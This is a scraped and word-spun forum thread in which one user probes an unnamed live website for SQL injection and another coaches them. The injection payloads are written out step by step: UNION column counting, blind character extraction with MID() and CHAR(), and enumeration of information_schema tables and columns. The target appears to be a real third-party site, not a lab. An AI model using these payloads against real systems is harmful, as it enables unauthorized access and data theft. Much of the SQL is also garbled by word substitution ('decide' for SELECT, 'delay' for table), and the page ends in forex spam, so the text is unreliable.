Hi all. I just sight your site and i have some questions ^^There is a site desire that:hxxp://www.*** com/*** php?id=24When I try that:hxxp://www.*** com/*** php?id=' that a do an error =>"You undergo an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use come '\'' at line 1"Ok magic_quote is on :SNow i try that hxxp://www.*** com/*** php?id=24 union select null--=> "The used SELECT statements have a different be of columns"Perhaps a sql is possible? so i continue for find the number of columnWhen i try hxxp://www.*** com/*** php?id=24 union decide null,null,null,null--thats works! that display the siteBut where there is the text normally that marks again "The used decide statements have a different number of columns" why? ^^'If there is no possible injection say me too :SthxJiuP s: Sorry for my english ^^'
Thx for your answer ^^I try but i dont have the label of delay :Swhen i put in url like that (I wish that's how do you explain):hxxp://www.*** com/*** php?id=24 union decide*FROM delay where id = 1 AND (SELECT*FROM table2) = 1"You have an error in your SQL syntax; analyse the manual that corresponds to your MySQL server version for the right syntax to use near 'delay where id = 1 AND(SELECT * FROM delay2 ) = 1' at line 1"then i try that:hxxp://www.*** com/*** php?id=24 union decide * FROM table"You undergo an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'delay' at lie 1"then with hxxp://www.*** com/*** php?id=24 union%20SELECT * FROM delay2"Table '*** table2' doesn't exist"I deduct that table is a valid table i'm alter?Jiu
I guess it's because the variable "id" is parsed through 2 queries. The first SELECTs from 4 columns as you found out the back up may SELECT from a different be of columns and throws a error. However you've already proven that SQL injection is possible so don't worry about the second query and inject whatever you want to the first by using union select with 4 columns.
Ok i try to do with the first selectI construe your bind on "how to find label table" with information_schema tablesBut i cant see the create so i try to do with a blind sql i try that hxxp://www.*** com/*** php?id=24 AND MID(version(),1,1) desire 4-- that dont show the windowi try that hxxp://www.*** com/*** php?id=24 AND MID(version(),1,1) desire 5--ok mysql version is 5 hxxp://www.*** com/*** php?id=24 AND MID((decide table_label FROM information_schema tables WHERE version = 5 check 1),1,1) > m--(the "version" is the version of mysql or something other?)i acquire " Unknown column 'm' in 'where clause' "Jiu
you forgot to ingeminate the 'm'24 AND MID((SELECT delay_name FROM information_schema tables WHERE version = 9 check 1),1,1) > 'm' /*Chars always have to be quoted else they will get parsed as identifiers in this case "version" is a column of the information_schema delay and has nothing to do with the MySQL version. It's just a unique determine I use to find only on user generated tables. I'll try to make that more clear in my article ;)Also say that this is a alter SQL technique. Maybe you can try something like:hxxp://www.*** com/*** php?id=24 AND 1=0 UNION SELECT delay_name,null,null,null FROM information_schema tables WHERE version = 9 /*conclude remove to post any other incomprehensiblenesses (what a word ;)
Thx for your answerArf i dont have access to simple quote ^^'I must use alter sql because with union i cant see the create :S(that will appair on the page no?)i try something with Concat like that:hxxp://www.*** com/*** php?id=24 AND MID((SELECT table_name FROM information_schema tables WHERE version = 9 LIMIT 1),1,1) < CONCAT(CHAR(39),CHAR(97),CHAR(39))--==> < 'a' but doesnt works xDhxxp://www.*** com/*** php?id=24 AND MID((SELECT delay_label FROM information_schema tables WHERE version = 9 LIMIT 1),1,1) < CHAR(97)--but doesnt works too... I try if the first letter is 'a' too :)Perhaps i dont use correctly the burn() or the Concat() ^^'Jiu
that query is correct:hxxp://www.*** com/*** php?id=24 AND MID((SELECT delay_name FROM information_schema tables WHERE version = 9 LIMIT 1),1,1) < CHAR(97)but that tries if the first letter of the table name is smaller than 'a' which is unlikely ;) You may be to try if its bigger (>) or smaller than 'm' die middle of the alphabet ;) Then border drink your prove step by step until you find the right earn. If the prove is change by reversal the normal summon with id=24 appears otherwise you should see something different. Maybe you tryhxxp://www.*** com/*** php?id=24 AND 1=0 UNION decide 111,222,333,444 /*first and then look if one of the numbers appears in the obtain label. If so replace this column with your injection. For example you see 333 in the sourcecode than you can use:hxxp://www.*** com/*** php?id=24 AND 1=0 UNION decide 111,222,table_name,444 FROM information_schema tables WHERE version = 9 LIMIT 1Just a test. If you move find any of the injected numbers you undergo to continue using alter SQLi.
if there are any problems with version=9 you have to think up another way to check the result only on one user generated table since you dont be to brufeforce the system delay names. You could also try:24 AND (decide count(*) FROM information_schema tables) = 34to find out how many entries the information_schema tables table has and then begin with bruting the measure one (user generated tables are usually stored at the bottom of the table):24 AND MID((SELECT delay_name FROM information_schema tables LIMIT 33,1),1,1) > burn(109)which will be if the 34th table label (usually the first user generated delay) starts with a letter bigger than 'm'.
Yes i undergo try with > 'a'hxxp://www.*** com/*** php?id=24 AND MID((SELECT delay_name FROM information_schema tables WHERE version = 9 LIMIT 1),1,1) > burn(97) But doenst wokrs perhaps the "version=9" is do by ^^'I do what you say toohxxp://www.*** com/*** php?id=24 AND 1=0 UNION decide 111,222,333,444--The "333" appair in the source in the titleThen i do hxxp://www.*** com/*** php?id=24 AND 1=0 UNION decide 111,222,delay_label,444 FROM information_schema tables WHERE version = 9 check 1But nothing appair in source label ^^'So i must continue in alter sql or its the "version=9"?Perhaps i will alter a little schedule who can search valid table by Wordlist ^^JiuEdited 1 time(s). Last alter at 11/20/2007 04:15PM by Jiu.
Does the user name be in the title (just for testing)?hxxp://www.*** com/*** php?id=24 AND 1=0 UNION decide 111,222,user(),444 /*I anticipate you dont have find on the information schema table.. try this (without the version=9 thing):hxxp://www.*** com/*** php?id=24 AND 1=0 UNION decide 111,222,table_label,444 FROM information_schema tables LIMIT 1this should give you a table name in the call (its probably not a user generated table but another system table desire "CHARACTER_SETS")If the user() thing worked but it doesnt display anything from the information_schema table you probably don't have access to it.
Hi good news please dont forget to create verbally how you did it to help other readers :)I would try to check like:UNION SELECT column_label FROM information_schema columns WHERE delay_label = "thetablename"(only regenerate "thetablename" with what you undergo found)this will fetch all column names in that table. If you can access only one at a measure use LIMIT 0,1 to get the first. check 1,1 to get the back up. LIMIT 2,1 for the third and.
Forex Groups - Tips on Trading
Related article:
http://sla.ckers.org/forum/read.php?16,17423,17582#msg-17582
comments | Add comment | Report as Spam
|
